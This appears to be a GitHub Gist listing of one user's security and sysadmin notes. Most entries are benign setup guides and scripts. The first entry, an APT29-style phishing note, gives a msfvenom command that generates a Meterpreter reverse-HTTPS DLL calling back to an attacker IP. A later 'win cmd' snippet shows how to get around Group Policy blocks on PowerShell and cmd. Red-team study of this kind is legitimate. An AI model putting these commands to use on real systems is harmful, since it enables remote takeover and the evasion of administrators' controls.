Skip to content

Instantly share code, notes, and snippets.

lnk payload (APT29 phishing) ds7002.lnk

image

Step 2: Generate and Obfuscate a Meterpreter DLL

# Generate a new Meterpreter DLL payload
msfvenom -p windows/x64/meterpreter/reverse_https -f dll LHOST=<YOUR ATTACKER IP ADDRESS> LPORT=443 -o meterpreter.dll
@refabr1k
refabr1k / setting_up_whisper_missing_fbgemm_dll.md
Last active August 16, 2024 02:06
openui-whisper installation (With Torch CUDA and dependies issue due to missing fbgemm.dll)

Setting up Torch with Cuda (if you have a nvidia gfx card)

  1. Install CUDA Toolkit -> you should install the CUDA version that PyTorch supports for example at this time, Version CUDA 12.4 is the latest. image

navigate to https://developer.nvidia.com/cuda-12-4-0-download-archive download and install the CUDA Toolkit version

  1. Check that CUDA Toolkit is installed > issue nvcc --version and observe from output that the installed cuda version is detected

Installing Torch

@refabr1k
refabr1k / ciscat_html_to_excel.py
Created November 28, 2023 12:54
ciscat html to excel - csv with "title, description, rationale, remediation"
from bs4 import BeautifulSoup
import csv
def extract_data_from_html(html_path):
with open(html_path, 'r', encoding='utf-8') as file:
html_content = file.read()
soup = BeautifulSoup(html_content, 'html.parser')
extracted_data = []
@refabr1k
refabr1k / server.js
Last active October 26, 2023 02:19
nodejs csp example
const express = require('express');
const helmet = require('helmet');
const app = express();
const PORT = 3000;
// Using Helmet to set CSP
// app.use(helmet());
// app.use(helmet.contentSecurityPolicy({
@refabr1k
refabr1k / setup xrdp server.md
Created October 25, 2023 23:34
setup xrdp server

On the Linux Server:

  1. Install xrdp and xfce (or another desktop environment)

    sudo apt update
    sudo apt install xrdp xfce4 xfce4-goodies
  2. Configure xrdp to use xfce

https://www.cyberciti.biz/security/howto-linux-hard-disk-encryption-with-luks-cryptsetup-command/
@refabr1k
refabr1k / AWS Pentesting Playbook.md
Last active July 21, 2023 17:31
AWS Pentesting Playbook
@refabr1k
refabr1k / ippsec_genymotion_setup.md
Last active July 5, 2023 14:21
ippsec guide to genymotion (windows edition)

video: https://www.youtube.com/watch?v=xp8ufidc514

Genymotion cannot start android emulator - shows the error "The VirtualBox DHCP server has not assigned an IP address to the virtual device"

Workaround:

  • on your virtualbox, select and start the created android emulator vm
@refabr1k
refabr1k / win cmd.txt
Last active June 29, 2023 02:30
win cmd
# Local Group Policy blocks powershell
## Windows Setting > Security Settings > Software Restriction Policies > Additional Rules > PowerShell.EXE (Type Hash, Disallowed)
copy system32 powershell to desktop
Set /p comm=cmd~
cmd~echo >> C:\path\of\desktop\powershell.exe
# 'Prevent access to command prompt' bypass (refer as runcmd.bat)
@echo off
:a
Set /p comm=cmd~
@refabr1k
refabr1k / setup bugbounty tools.md
Last active July 23, 2023 07:56
setup bugbounty tools
#!/bin/bash

#mkdir tools dir
mkdir ~/Tools
mkdir ~/Wordlists


#sublime